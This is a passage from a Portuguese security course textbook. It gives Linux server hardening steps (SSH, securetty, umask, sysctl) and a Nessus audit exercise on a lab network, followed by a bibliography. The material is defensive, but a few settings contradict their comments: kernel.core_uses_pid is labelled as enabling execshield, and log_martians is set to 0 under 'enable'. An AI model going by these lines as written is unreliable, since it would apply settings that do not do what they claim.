Na instalação padrão, as contas de serviço já possuem data de expiração
Capítulo 10 - Roteiro de Atividades

igual a 99999.

Passo 13 A opção de logoff automático evita o uso indevido da sessão de um adminis-


trador quando este, inadvertidamente, não faz o logoff manual. A variável
TMOUT controla, em segundos, o tempo máximo aceito pelo sistema sem que
o usuário execute um comando ou aperte uma tecla. Decorrido esse tempo,
a máquina vai, automaticamente, efetuar o logoff do usuário.
Edite o arquivo /etc/profile e adicione a seguinte linha:
TMOUT=900

O valor da variável “TMOUT=” é em segundos, ou seja, 15 minutos


(15*60 = 900 segundo).

247
Passo 14 As configurações abaixo são recomendadas para o serviço de terminal SSH.
Para alterá-las, vamos editar o arquivo de configuração do servidor Open SSH
/etc/ssh/sshd_config. Observe os comentários para decidir que parâmetros você
vai utilizar. Em nosso treinamento, configure todos os parâmetros abaixo:
#Não permitir o login do usuario root
PermitRootLogin no
#Prevenir que o SSH seja configurado para realizar
forwarding do serviço do X11
AllowTcpForwarding no
X11Forwarding no
# Configurar o Banner padrão
Banner /etc/issue
Reinicie o servidor SSH para aplicar as novas configurações:
# /etc/init.d/ssh restart
Verifique o funcionamento e tente acessar remotamente utilizando o usuário
“root”. A partir desse momento, você está convidado a utilizar sempre o
usuário aluno e/ou suporteloc com permissões básicas. Quando necessitar
realizar alguma atividade administrativa, utilize sudo ou su para obter os
privilégios necessários. Dessa forma, teremos registros do usuário que
realizou determinada atividade com privilégios administrativos.

Passo 15 Desabilite a permissão para que o usuário root acesse o sistema pelo console
físico. Para isso, edite o arquivo de configuração /etc/securetty. Vamos apagar
todo o conteúdo desse arquivo de configuração:
# cp /etc/securetty /etc/securetty.old
# echo “ “ > /etc/securetty
Para testar a configuração, acesse o console via Virtual Box e acesse o ser-
vidor com o usuário root. Se não for possível, acesse com o usuário aluno.

Passo 16 Para evitar que o servidor Linux seja reiniciado quando o seu teclado for
confundido com o de um servidor Windows, desabilite a combinação
Ctrl+Alt+Del editando o arquivo de configuração /etc/inittab e comente ou
apague a seguinte linha:
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now
Ficando assim:
# ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now

Passo 17 O comando umask serve como uma máscara para ajustar a permissão de
arquivos e diretórios, assim, um umask mal configurado vai atribuir para
novos arquivos criados pelo root permissão de acesso para qualquer usuário.
Recomenda-se alterar o umask de todos os usuários para 177, ajustando o
arquivo /etc/profile.
Caso existam problemas na instalação de novos binários no servidor,
modifique o umask para a opção padrão utilizando o comando umask 022.
Segurança de Redes e Sistemas

248
Passo 18 Personalizar o kernel do Linux com o intuito de torná-lo mais eficaz não é
uma tarefa simples, pois depende muito do cenário e das aplicações que
serão utilizadas. De forma geral, os parâmetros abaixo podem ser inseridos
no final do arquivo /etc/sysctl.conf em diversos cenários sem comprometer o
funcionamento do servidor.
#TCP SYN Cookie Protection
net.ipv4.tcp_max_syn_backlog=1280
net.ipv4.tcp_syncookies = 1
#Disable IP Source Routing
net.ipv4.conf.all.accept_source_route = 0
#Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects=0
# Habilita proteção contra IP spoofing
net.ipv4.conf.all.rp_filter = 1
#Ignoring Broadcasts Request
net.ipv4.icmp_echo_ignore_broadcasts=1
#Bad Error Message Protection
net.ipv4.icmp_ignore_bogus_error_responses = 1
#Desativa o forward de pacotes. Não deve ser configu-
rado em servidores que assumam serviço de gateway/roteador
net.ipv4.ip_forward = 0
# Habilita log de pacotes spoof. Obs. Esse recurso
gera muitas entradas no log e deve ser avaliado com
cuidado.
net.ipv4.conf.all.log_martians = 0
# Desativar o proxy_arp
net.ipv4.conf.all.proxy_arp=0
# Habilita o execshield
kernel.core_uses_pid = 1
Reinicie o sistema para que as configurações sejam aplicadas.

Capítulo 10 - Roteiro de Atividades

249
Atividade 2 – Auditoria
Execute uma auditoria no servidor Linux com o Nessus e compare o resultado com a
auditoria que foi feita no capítulo 8. Houve um aumento do nível de segurança? Analise o
resultado da auditoria e tente realizar mais modificações na configuração do servidor para
torná-lo ainda mais seguro.

Passo 1 Inicie o servidor Nessus no host FWGW1 com o seguinte comando:


# /etc/init.d/nessusd start

Passo 2 Acesse o console de gerência do Nessus a partir de um navegador web


da máquina Windows XP física: https://172.16.G.1:8834.
Certifique-se de que existe regra de exceção no firewall para permitir
essa conexão.

Passo 3 No console do Nessus, crie um novo Scan com os parâmetros:


Nome: RedeDMZ
Type: Run Now
Policy: Padrao
Scan Targets: 172.16.G.0/24
Clique no botão Launch Scan.

Passo 4 Analise o novo relatório gerado pelo Nessus no menu Reports. Foi possível
encontrar os hosts da rede DMZ? Que serviços foram encontrados?
Compare esse último relatório gerado com o relatório do capítulo 8.
Quais as principais diferenças?

Atividade 3 – Ferramentas e mecanismos para monitoramento


Em uma rede segura devem ser implementados, sempre, os seguintes serviços: Inventário
de Ativos, Servidor de Log Centralizado, servidor NTP para sincronizar os relógios, Serviço
de Host IDS integrado e serviço de monitoramento.

Durante este treinamento você teve contato com algumas ferramentas que implementam
os serviços acima citados. Pesquise na internet sobre ferramentas que poderiam atender
a essa necessidade, não se esquecendo de contribuir com os demais colegas de turma e o
instrutor sobre suas descobertas.

Atividade 4 – Ferramentas de segurança


Pesquise na internet informações sobre o SELINUX e o Bastille Linux. Quais as melhorias de
segurança que essas ferramentas trazem?
Segurança de Redes e Sistemas

Para pensar

Pesquise sobre a instalação do SELINUX e tente implantá-lo no seu servidor Linux.


Realize nova auditoria e compare os resultados.

250
Bibliografia

11 BATTISTI, Júlio; SANTANA, Fabiano. Windows Server 2008: Guia de estudos


completo, implementação, administração e certificação. Editora Novaterra, 2009.

11 BRANDÃO, Robson. Introdução ao Group Policy (GPO). Microsoft TechNet.


http://technet.microsoft.com/pt-br/library/cc668545.aspx

11 HERZOG, Pete. OSSTMM 2.1, Open-Source Security Testing Methodology Manual:


http://isecom.securenetltd.com/osstmm.en.2.1.pdf

11 ISECOM. Hacking Exposed Linux. 3ª edição. McGraw-Hill Osborne Media; 2008.

11 MIGEON, Jean-Yves. The MIT Kerberos Administrator’s How-to Guide, Protocol,


Installation and Single Sign On. The MIT Kerberos Consortium, 2008.
http://www.kerberos.org/software/adminkerberos.pdf

11 OREBAUGH, Angela. Snort Cookbook. Estados Unidos: Editora O’Reilly Media, 2005.

11 WALLA, Mark. Kerberos Explained. Microsoft TechNet.


http://technet.microsoft.com/en-us/library/bb742516.aspx

11 WESSELS, Duane. Squid: The Definitive Guide. Estados Unidos: Editora


O’Reilly Media, 2004.

11 WEST-BROWN, Moira J. Handbook for Computer Security Incident Response Teams


(CSIRT). Pittsburgh: Carnegie Mellon Software Engineering Institute, 2003.
www.cert.org/archive/pdf/csirt-handbook.pdf

11 SCAMBRAY, Joey. Hacking Exposed Windows: Microsoft Windows Security


Secrets and Solutions. McGraw-Hill Osborne Media, 2007.

11 SIMMONS, Gustavus, J. Symmetric and Asymmetric Encryption.


http://www.princeton.edu/~rblee/ELE572Papers/CSurveys_SymmAsy-
mEncrypt-simmons.pdf

11 STEVENS W., Richard. TCP Illustrated. Volume 1. Addison-Wesley, 1994.

11 ZWICKY, Elizabeth D. et al. Building Internet Firewalls. Estados Unidos: Editora


O’Reilly Media, 2006.

11 Norma ABNT NBR ISO/IEC 27001:2006

11 Norma ABNT NBR ISO/IEC 27002:2005


Bibliografia

11 Norma ABNT NBR ISO/IEC 27005:2008

11 Norma ABNT NBR ISO/IEC 27011:2009

11 IN 01 e Normas Complementares DSIC/GSI

251
O aluno aprenderá a implementar uma solução com- Segurança

LIVRO DE APOIO AO CURSO


de Redes

Segurança de Redes e Sistemas


pleta de proteção de redes, utilizando técnicas como
firewall, IDS, IPS e VPN. O amplo escopo de conceitos
abordados permitirá a aplicação das técnicas de auten-
ticação e autorização seguras, auditorias de segurança
e de requisitos de configuração segura de servidores
Linux e Windows. Após o curso, o aluno será capaz de
montar um perímetro seguro, aumentar a segurança
dos servidores da rede, realizar auditorias de segurança
e Sistemas
e implantar sistemas de autenticação seguros.
Este livro inclui os roteiros das atividades práticas e o Ivo de Carvalho Peixinho
conteúdo dos slides apresentados em sala de aula,
apoiando profissionais na disseminação deste conheci- Francisco Marmo da Fonseca
mento em suas organizações ou localidades de origem.
Francisco Marcelo Lima

ISBN 978-85-63630-13-1

9 788563 630131

Você também pode gostar